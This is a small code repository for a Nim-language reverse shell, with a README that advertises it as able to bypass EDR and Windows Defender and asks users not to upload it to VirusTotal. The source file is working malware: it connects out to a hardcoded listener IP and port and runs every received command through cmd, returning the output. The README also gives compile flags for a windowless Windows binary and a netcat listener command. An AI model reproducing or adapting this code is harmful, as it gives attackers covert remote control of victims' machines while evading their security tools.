Repository: emrekybs/nim-shell Branch: main Commit: 4ee5f0fe8ca8 Files: 3 Total size: 2.6 KB Directory structure: gitextract_n5hw1qtc/ ├── LICENSE ├── README.md └── nimshell.nim ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2023 EmreKybs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ [![EmreKybs](https://img.shields.io/badge/MadeBy-Emrekybs-yellow) # Nim-Shell Reverse shell that can bypass EDR and windows defender detection # Please do not upload to VirusTotal # 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 $ apt install nim # Compilation nim c -d:mingw --app:gui nimshell.nim Change the IP address and port number you want to listen to in the nimshell.nim file according to your device. # and listen $ nc -nvlp 4444 ================================================ FILE: nimshell.nim ================================================ import net, os, osproc, strutils proc executeCommand(command: string): string = result = execProcess("cmd /c " & command) var socket = newSocket() var myIP = "192.168.1.25" myPort = "4444" let exitMessage = "Exiting.." changeDirectoryCommand = "cd" defaultDirectory = "C:\\" try: socket.connect(myIP, Port(parseInt(myPort))) while true: socket.send(os.getCurrentDir() & "> ") let command = socket.recvLine() if command == "exit": socket.send(exitMessage) break if command.strip() == changeDirectoryCommand: os.setCurrentDir(defaultDirectory) elif command.strip().startswith(changeDirectoryCommand): let directory = command.strip().split(' ')[1] try: os.setCurrentDir(directory) except OSError as error: socket.send(repr(error) & "\n") continue else: let result = executeCommand(command) socket.send(result) except: raise finally: socket.close